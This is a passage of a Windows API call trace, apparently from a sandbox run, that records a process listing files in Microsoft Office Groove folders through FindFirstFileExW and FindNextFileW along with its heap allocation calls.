(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.693] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x167d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveFormsMetaData.xml", cAlternateFileName="")) returned 1 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1290 [0078.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bdd30 [0078.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.694] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENUS.JS", cAlternateFileName="")) returned 1 [0078.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac12b0 [0078.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bde38 [0078.694] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.694] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x899c7500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5836a590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x899c7500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_arrow.gif", cAlternateFileName="")) returned 1 [0078.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac12d0 [0078.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11bdf40 [0078.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4500) returned 0xacb2b8 [0078.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11c8048) returned 1 [0078.695] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.695] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d273e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEARCH.GIF", cAlternateFileName="")) returned 1 [0078.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac12f0 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11be048 [0078.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.696] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPACER.GIF", cAlternateFileName="")) returned 1 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1310 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11be150 [0078.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.697] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1330 [0078.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11be258 [0078.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.698] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e41e350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x103f, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0078.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1350 [0078.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11be360 [0078.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.698] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0078.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0078.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xac1370 [0078.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11be468 [0078.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0078.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.CSS", cAlternateFileName="")) returned 1 [0078.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0078.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x505b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0078.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x207, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEWBY.GIF", cAlternateFileName="")) returned 1 [0078.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewDblClick.js", cAlternateFileName="")) returned 1 [0078.699] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="")) returned 0 [0078.700] GetLastError () returned 0x12 [0078.700] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9140 [0078.700] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x706f8370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrow.jpg", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddToViewArrowMask.bmp", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BG_ADOBE.GIF", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x161d, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Casual.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Country.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x132a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Earthy.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePage.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4ebb, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_FormsHomePageBlank.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f644b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5690, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_GreenTea.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Groove.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_LightSpirit.gif", cAlternateFileName="")) returned 1 [0078.700] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_OliveGreen.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1845, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_Premium.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f66ac70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5141, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_SlateBlue.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x193c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_TexturedBlue.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x519a33f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_VelvetRose.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84d7c100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="button_left.gif", cAlternateFileName="")) returned 1 [0078.701] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d7c100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, 